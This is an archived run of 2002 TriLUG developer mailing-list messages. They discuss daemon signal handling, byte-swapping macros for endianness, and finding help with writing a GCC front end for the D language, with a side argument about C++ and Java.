(EDT) From: Jeremy P X-Sender: jeremy@shell.ntrnet.net To: dev@trilug.org Subject: Re: [Dev] =?iso-8859-1?Q?Re:_[Dev]_Re:_[Dev]_HOWTO_write_a_daemon?= In-Reply-To: <45557.129.33.49.208.1022258946.squirrel@albert.petelong.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Fri, 24 May 2002, [iso-8859-1] Peter Long wrote: > I assume trapping SIGHUP will work on any form on unix machine. The > application that I am writing has to work on Win2K, AIX and Linux. > Making a win2k service I can do. Hopefully daemons are implemented the > same on both AIX and Linux. :) AFAIK, that will work on any Unix-like machine. I don't have personal experience with AIX, but it certainly works that way on Solaris as well as Linux. Try it out, see what happens! :-) --Jeremy From mmueller@ss7box.com Tue May 28 23:07:20 2002 Return-Path: Delivered-To: dev@trilug.org Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by fatalpha.trilug.org (Postfix) with ESMTP id 5449FE5A3 for ; Tue, 28 May 2002 23:07:20 -0400 (EDT) Received: from user-uivf3uv.dsl.mindspring.com ([165.247.143.223] helo=there) by hall.mail.mindspring.net with smtp (Exim 3.33 #1) id 17CtlB-0005Ny-00 for dev@trilug.org; Tue, 28 May 2002 23:04:25 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Date: Tue, 28 May 2002 23:00:24 -0400 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] byte swapper Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Is there a byte swapper for big-to-little, and vice-versa, endian interchange lurking about, or shall I be forced to write yet another? TIA, -- Mike Mueller www.ss7box.com From brent@mutt.rcfile.org Tue May 28 23:25:06 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mutt.rcfile.org (rdu57-226-247.nc.rr.com [66.57.226.247]) by fatalpha.trilug.org (Postfix) with ESMTP id 32AB3E5A3 for ; Tue, 28 May 2002 23:25:06 -0400 (EDT) Received: from mutt.rcfile.org (localhost [127.0.0.1]) by mutt.rcfile.org (8.12.3/8.12.3) with ESMTP id g4T3MH9Y069496 for ; Tue, 28 May 2002 23:22:17 -0400 (EDT) (envelope-from brent@mutt.rcfile.org) Received: (from brent@localhost) by mutt.rcfile.org (8.12.3/8.12.3/Submit) id g4T3MHmv069495 for dev@trilug.org; Tue, 28 May 2002 23:22:17 -0400 (EDT) Date: Tue, 28 May 2002 23:22:17 -0400 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] byte swapper Message-ID: <20020529032217.GA69378@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.99i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.6-RC #2: Sat May 25 14:24:34 EDT 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTTS Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-05-28 23:00] Michael Mueller said: | Is there a byte swapper for big-to-little, and vice-versa, endian interchange | lurking about, or shall I be forced to write yet another? on (recent?) glibc systems, try #include uint32_t flipped = __bswap_32(uint32_t_input) uint16_t flipped = __bswap_16(uint16_t_input) not sure if *bsd have an analogous function, but if portability is paramount, you might have to roll your own. hth. b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From ed@eh3.com Tue May 28 23:34:37 2002 Return-Path: Delivered-To: dev@trilug.org Received: from eddy.mines.edu (kato-ppp95.Mines.EDU [138.67.58.161]) by fatalpha.trilug.org (Postfix) with ESMTP id 00E45E5A3 for ; Tue, 28 May 2002 23:34:36 -0400 (EDT) Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g4T3TVR01464; Tue, 28 May 2002 21:29:31 -0600 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] byte swapper From: Ed Hill To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 28 May 2002 21:29:31 -0600 Message-Id: <1022642971.1202.2.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tue, 2002-05-28 at 21:00, Michael Mueller wrote: > Is there a byte swapper for big-to-little, and vice-versa, endian interchange > lurking about, or shall I be forced to write yet another? Hi Mike, I've used these. hth, Ed #ifdef LITTLE_ENDIAN /* Little-endian architectures need byte-swapping. */ #define sws(x) (((x >> 8) & 0x00ff) | ((x << 8) & 0xff00)) #define swl(x) (sws(x >> 16) | (sws(x) << 16)) #define swap_short(x) (x = sws(x)) #define swap_long(x) (x = swl(x)) #else /* Big-endian architectures don't need byte-swapping. */ #define sws(x) (x) #define swl(x) (x) #define swap_short(x) (x = sws(x)) #define swap_long(x) (x = swl(x)) #endif -- Edward H. Hill III, PhD | Email: ed@eh3.com, ehill@mines.edu Post-Doctoral Researcher | URLs: http://www.eh3.com Division of ESE | http://wasser.mines.edu/people/edhill.php Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From mmueller@ss7box.com Wed May 29 00:26:48 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (Postfix) with ESMTP id 90D19E5A3 for ; Wed, 29 May 2002 00:26:48 -0400 (EDT) Received: from user-uivf3uv.dsl.mindspring.com ([165.247.143.223] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 17Cv06-0006Ps-00 for dev@trilug.org; Wed, 29 May 2002 00:23:54 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Subject: Re: [Dev] byte swapper Date: Wed, 29 May 2002 00:19:52 -0400 X-Mailer: KMail [version 1.3.1] References: <20020529032217.GA69378@rcfile.org> In-Reply-To: <20020529032217.GA69378@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Thanks, Brent and Ed. That helped for sure. -- Mike Mueller www.ss7box.com From john@radiomind.com Wed May 29 14:13:22 2002 Return-Path: Delivered-To: dev@trilug.org Received: from marconi.radiomind.com (dsl-64-192-134-85.telocity.com [64.192.134.85]) by fatalpha.trilug.org (Postfix) with ESMTP id 8CE98E5B4 for ; Wed, 29 May 2002 14:13:21 -0400 (EDT) Received: from localhost (marconi [127.0.0.1]) by marconi.radiomind.com (Postfix) with ESMTP id D8E3F1B8FB for ; Wed, 29 May 2002 14:10:23 -0400 (EDT) Received: by marconi.radiomind.com (Postfix, from userid 1000) id D637B1B82C; Wed, 29 May 2002 14:10:22 -0400 (EDT) Date: Wed, 29 May 2002 14:10:22 -0400 To: dev@trilug.org Subject: Re: [Dev] byte swapper Message-ID: <20020529181022.GB12812@radiomind.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-message-flag: Get yourself a real email client. http://www.mutt.org/ Xyzzy: Nothing happens! Reply-By: Wed, 29 May 2002 13:48:42 -0400 From: john@radiomind.com (John Beimler) X-Virus-Scanned: by AMaViS snapshot-20020316 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: commence quotation from Michael Mueller [on 020528 23:05]: > Is there a byte swapper for big-to-little, and vice-versa, endian interchange > lurking about, or shall I be forced to write yet another? > TIA, > -- how about dd? Check out the swab keyword. Peace john From johndavi@us.ibm.com Wed May 29 14:16:44 2002 Return-Path: Delivered-To: dev@trilug.org Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (Postfix) with ESMTP id 6EC62E5B4 for ; Wed, 29 May 2002 14:16:44 -0400 (EDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g4TIDoFD042772 for ; Wed, 29 May 2002 14:13:50 -0400 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g4TIDnr29658 for ; Wed, 29 May 2002 14:13:49 -0400 Importance: Normal Sensitivity: To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Wed, 29 May 2002 14:12:57 -0400 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 05/29/2002 02:13:49 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Re: simple daemon dies Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello I thought this would be interesting to those who followed the "Re: [Dev] HOWTO write a daemon" thread. JD ---------------------- Forwarded by John F Davis/Raleigh/IBM on 05/29/2002 02:10 PM --------------------------- Glynn Clements @vger.kernel.org on 05/29/2002 05:29:36 AM Sent by: linux-c-programming-owner@vger.kernel.org To: Sindunata cc: linux-c-programming@vger.kernel.org Subject: Re: simple daemon dies Sindunata wrote: > I'm trying to write a simple daemon background process. > It connects to PostgreSQL and wait for a notify event and upon receiving > some event will invoke some URL using curl library. > > I got it working already if I run it in foreground. But if I put the > process in background (using &), and then after sometime the process > will die. In which case, the shell will tell you why it died. Exited normally with zero status: [1]+ Done prog Exited normally with non-zero status: [1]+ Exit 1 prog Terminated due to SIGTERM: [1]+ Terminated prog Terminated due to SIGIOT (aka SIGABRT): [1]+ Aborted (core dumped) prog Terminated due to SIGKILL: [1]+ Killed prog ... and so on. > I think there's some signal that I need to catch, can > someone please help me? You don't necessarily *need* to catch any signals. Most of the signals which terminate a process (e.g. SIGHUP, SIGTERM, SIGINT) are *meant* to terminate the process. When a program catches one of these signals, it's normally so that it can "clean up" before it terminates, not to prevent termination altogether. > Currently i'm trapping the following signals: > sigaction (SIGTERM, &act, NULL); > sigaction (SIGINT, &act, NULL); These are meant to kill the process; there's no reason to catch them. > /* ignore SIGHUP & SIGTTOU */ > act.sa_handler = SIG_IGN; > sigaction(SIGHUP, &act, NULL); Same here. > sigaction(SIGTTOU, &act, NULL); This will only stop the process, not terminate it. If you're trying to write a daemon (as opposed to simply running in the background), the process should be entirely disassociating itself from the terminal and from the process group, so it shouldn't be affected by terminal-related signals. -- Glynn Clements - To unsubscribe from this list: send the line "unsubscribe linux-c-programming" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html From acoliver@apache.org Wed May 29 14:20:59 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail7.nc.rr.com (mail7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (Postfix) with ESMTP id 6211BE5B4 for ; Wed, 29 May 2002 14:20:59 -0400 (EDT) Received: from apache.org ([64.102.71.112]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 29 May 2002 14:18:05 -0400 Message-ID: <3CF51B87.5020904@apache.org> Date: Wed, 29 May 2002 14:18:47 -0400 From: "Andrew C. Oliver" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) Gecko/20020523 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org References: <20020529181022.GB12812@radiomind.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [Dev] GCC Front end anyone? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi, Has anyone done any work on the internals of GCC. Specifically language front-ends? I'm working on creaing a GCC front end for http://www.digitalmars/d. The front end code for the compiler has been released GPL/Artisitic, its just a matter of porting it to GCC. I've yet to find a working example of the "toy" language referred to in the GCC docs, that works with any defined version of GCC. (So far I grab the version of Toy that says its for 3.0 and it turns out not to work! Frustrating!). Anyone with front end experience that might be able to give me a few pointers (pun intended)? -Andy From johndavi@us.ibm.com Wed May 29 14:25:16 2002 Return-Path: Delivered-To: dev@trilug.org Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (Postfix) with ESMTP id 11327E5B4 for ; Wed, 29 May 2002 14:25:16 -0400 (EDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g4TIMMFD091734 for ; Wed, 29 May 2002 14:22:22 -0400 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g4TIMLr119514 for ; Wed, 29 May 2002 14:22:21 -0400 Importance: Normal Sensitivity: Subject: Re: [Dev] GCC Front end anyone? To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Wed, 29 May 2002 14:21:30 -0400 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 05/29/2002 02:22:20 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Geoff Berry of Bops. Considering that Bops is closing their shop, he'll probably be looking for a job. JD "Andrew C. Oliver" @trilug.org on 05/29/2002 02:18:47 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: [Dev] GCC Front end anyone? Hi, Has anyone done any work on the internals of GCC. Specifically language front-ends? I'm working on creaing a GCC front end for http://www.digitalmars/d. The front end code for the compiler has been released GPL/Artisitic, its just a matter of porting it to GCC. I've yet to find a working example of the "toy" language referred to in the GCC docs, that works with any defined version of GCC. (So far I grab the version of Toy that says its for 3.0 and it turns out not to work! Frustrating!). Anyone with front end experience that might be able to give me a few pointers (pun intended)? -Andy _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From acoliver@apache.org Wed May 29 14:33:35 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (Postfix) with ESMTP id C6517E5B4 for ; Wed, 29 May 2002 14:33:34 -0400 (EDT) Received: from apache.org ([64.102.71.112]) by mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 29 May 2002 14:30:36 -0400 Message-ID: <3CF51E75.7010204@apache.org> Date: Wed, 29 May 2002 14:31:17 -0400 From: "Andrew C. Oliver" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) Gecko/20020523 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] GCC Front end anyone? References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: John F Davis wrote: >Geoff Berry of Bops. Considering that Bops is closing their shop, he'll >probably be looking for a job. > > Well I'll give him 90% of what I'm making off of it....oh wait... I'm not making anything ;-) I'm doing this to brush up on my C and have an alternative to Java that's OO and doesn't suck. (C++ in my view, Sucks) -Andy > >JD > >"Andrew C. Oliver" @trilug.org on 05/29/2002 02:18:47 >PM > >Please respond to dev@trilug.org > >Sent by: dev-admin@trilug.org > > >To: dev@trilug.org >cc: >Subject: [Dev] GCC Front end anyone? > > > >Hi, > >Has anyone done any work on the internals of GCC. Specifically language >front-ends? I'm working on creaing a GCC front end for >http://www.digitalmars/d. The front end code for the compiler has been >released GPL/Artisitic, its just a matter of porting it to GCC. > >I've yet to find a working example of the "toy" language referred to in >the GCC docs, that works with any defined version of GCC. (So far I >grab the version of Toy that says its for 3.0 and it turns out not to >work! Frustrating!). > >Anyone with front end experience that might be able to give me a few >pointers (pun intended)? > >-Andy > > >_______________________________________________ >Dev mailing list >Dev@trilug.org >http://www.trilug.org/mailman/listinfo/dev > > >_______________________________________________ >Dev mailing list >Dev@trilug.org >http://www.trilug.org/mailman/listinfo/dev > > > From lovelace@wayfarer.org Wed May 29 14:40:48 2002 Return-Path: Delivered-To: dev@trilug.org Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (Postfix) with SMTP id 207B4E5B4 for ; Wed, 29 May 2002 14:40:48 -0400 (EDT) Received: (qmail 12858 invoked by uid 401); 29 May 2002 18:37:57 -0000 Received: from localhost (HELO linux-lovelace.internal.opennms.org) (lovelace@127.0.0.1) by localhost with SMTP; 29 May 2002 18:37:57 -0000 Subject: Re: [Dev] GCC Front end anyone? From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <3CF51E75.7010204@apache.org> References: <3CF51E75.7010204@apache.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5-1mdk Date: 29 May 2002 14:37:52 -0400 Message-Id: <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-05-29 at 14:31, Andrew C. Oliver wrote: > > Well I'll give him 90% of what I'm making off of it....oh wait... I'm > not making anything ;-) > I'm doing this to brush up on my C and have an alternative to Java > that's OO and doesn't suck. > (C++ in my view, Sucks) If you're looking for object oriented, don't look at C. Sure, you can do OO in C, but it's an incredible kludge. Why do you say C++ sucks? We just had this same discussion at lunch here and came to the conclusion that pretty much every language out there has its strengths and weaknesses and that instead of focusing on a particular language you should look at what you need to get done and use the best tool for the job. Sometimes that's C++, sometimes it's C, or even Java, Perl, Python, Ruby, etc... C++ no more sucks than Java does (and I personally think it sucks a *lot* less). It's just what you know and are used to. Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- This would be a very good time to hang out with the Open Source people, before they get formally reclassified as a national security threat. -- Bruce Sterling From acoliver@apache.org Wed May 29 14:47:26 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52]) by fatalpha.trilug.org (Postfix) with ESMTP id 1F75DE5B4 for ; Wed, 29 May 2002 14:47:26 -0400 (EDT) Received: from apache.org ([64.102.71.112]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 29 May 2002 14:44:32 -0400 Message-ID: <3CF521B9.60802@apache.org> Date: Wed, 29 May 2002 14:45:13 -0400 From: "Andrew C. Oliver" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) Gecko/20020523 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] GCC Front end anyone? References: <3CF51E75.7010204@apache.org> <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Tanner Lovelace wrote: >On Wed, 2002-05-29 at 14:31, Andrew C. Oliver wrote: > > > >>Well I'll give him 90% of what I'm making off of it....oh wait... I'm >>not making anything ;-) >>I'm doing this to brush up on my C and have an alternative to Java >>that's OO and doesn't suck. >>(C++ in my view, Sucks) >> >> > >If you're looking for object oriented, don't look at C. Sure, you >can do OO in C, but it's an incredible kludge. > >Why do you say C++ sucks? We just had this same discussion at >lunch here and came to the conclusion that pretty much every language >out there has its strengths and weaknesses and that instead of >focusing on a particular language you should look at what you >need to get done and use the best tool for the job. Sometimes >that's C++, sometimes it's C, or even Java, Perl, Python, Ruby, >etc... C++ no more sucks than Java does (and I personally think >it sucks a *lot* less). It's just what you know and are used to. > >Tanner > > I used to be a C++ programmer. I'm not particularly interested in a discussion about C++'s suckiness, its a very old discussion and I'm sure you can find plenty of references. Java has its strengths and weaknesses. One strength is its simplicity, one weakness is its simplicity. One horrible weakness is the Java environment. Take a look at D (www.digitalmars.com/d) and see what you think. U/F the current compiler only works on Windoze. I'm excited to work with it. Any knowledge of GCC internals? Particuarly the "Trees" and Frontends? -Andy From lovelace@wayfarer.org Wed May 29 15:15:18 2002 Return-Path: Delivered-To: dev@trilug.org Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (Postfix) with SMTP id B6C9DE5B4 for ; Wed, 29 May 2002 15:15:17 -0400 (EDT) Received: (qmail 13493 invoked by uid 401); 29 May 2002 19:12:27 -0000 Received: from localhost (HELO linux-lovelace.internal.opennms.org) (lovelace@127.0.0.1) by localhost with SMTP; 29 May 2002 19:12:27 -0000 Subject: Re: [Dev] GCC Front end anyone? From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <3CF521B9.60802@apache.org> References: <3CF51E75.7010204@apache.org> <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> <3CF521B9.60802@apache.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5-1mdk Date: 29 May 2002 15:12:22 -0400 Message-Id: <1022699543.9444.88.camel@linux-lovelace.internal.opennms.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-05-29 at 14:45, Andrew C. Oliver wrote: > I used to be a C++ programmer. I'm not particularly interested in a > discussion about C++'s suckiness, its a very > old discussion and I'm sure you can find plenty of references. > > Java has its strengths and weaknesses. One strength is its simplicity, > one weakness is its simplicity. One > horrible weakness is the Java environment. Take a look at D > (www.digitalmars.com/d) and see what you think. > U/F the current compiler only works on Windoze. I'm excited to work > with it. I'll see if I can take a look at it sometime after work... > Any knowledge of GCC internals? Particuarly the "Trees" and Frontends? No, sorry, only in passing. I did teach a "Concepts of Programming" languages class at UNC so I know about parse trees in general, but as far as actually applying them to gcc I wouldn't have any clue. (Hmmm... I guess my wife is good friends with Bruce Tiemann [they're both life members of the International Jugglers Association], brother of Micheal Tiemann who wrote a lot of GCC, but that's about as close as I come to knowing GCC internals, and that isn't any.) Good luck finding someone. -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Si hoc legere scis, nimium eruditionis habes. From ed@eh3.com Wed May 29 15:30:13 2002 Return-Path: Delivered-To: dev@trilug.org Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (Postfix) with ESMTP id 81B7DE5B8 for ; Wed, 29 May 2002 15:30:12 -0400 (EDT) Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g4TJPB201998; Wed, 29 May 2002 13:25:11 -0600 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] GCC Front end anyone? From: Ed Hill To: dev@trilug.org In-Reply-To: <1022699543.9444.88.camel@linux-lovelace.internal.opennms.org> References: <3CF51E75.7010204@apache.org> <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> <3CF521B9.60802@apache.org> <1022699543.9444.88.camel@linux-lovelace.internal.opennms.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 29 May 2002 13:25:11 -0600 Message-Id: <1022700311.1292.173.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-05-29 at 13:12, Tanner Lovelace wrote: > On Wed, 2002-05-29 at 14:45, Andrew C. Oliver wrote: > > Any knowledge of GCC internals? Particuarly the "Trees" and Frontends? > Good luck finding someone. Tom Tromey of autoconf fame lives out here in Boulder and is, I believe, currently working on the gcj front-end. His email is: tromey@redhat.com Ed -- Edward H. Hill III, PhD | Email: ed@eh3.com, ehill@mines.edu Post-Doctoral Researcher | URLs: http://www.eh3.com Division of ESE | http://wasser.mines.edu/people/edhill.php Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From acoliver@apache.org Wed May 29 15:41:32 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (Postfix) with ESMTP id 2D41DE5B8 for ; Wed, 29 May 2002 15:41:32 -0400 (EDT) Received: from apache.org ([64.102.71.112]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 29 May 2002 15:38:38 -0400 Message-ID: <3CF52E68.60408@apache.org> Date: Wed, 29 May 2002 15:39:20 -0400 From: "Andrew C. Oliver" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) Gecko/20020523 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] GCC Front end anyone? References: <3CF51E75.7010204@apache.org> <1022697474.9444.53.camel@linux-lovelace.internal.opennms.org> <3CF521B9.60802@apache.org> <1022699543.9444.88.camel@linux-lovelace.internal.opennms.org> <1022700311.1292.173.camel@eddy> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Ed Hill wrote: >On Wed, 2002-05-29 at 13:12, Tanner Lovelace wrote: > > >>On Wed, 2002-05-29 at 14:45, Andrew C. Oliver wrote: >> >> > > > >>>Any knowledge of GCC internals? Particuarly the "Trees" and Frontends? >>> >>> > > > >>Good luck finding someone. >> >> > > >Tom Tromey of autoconf fame 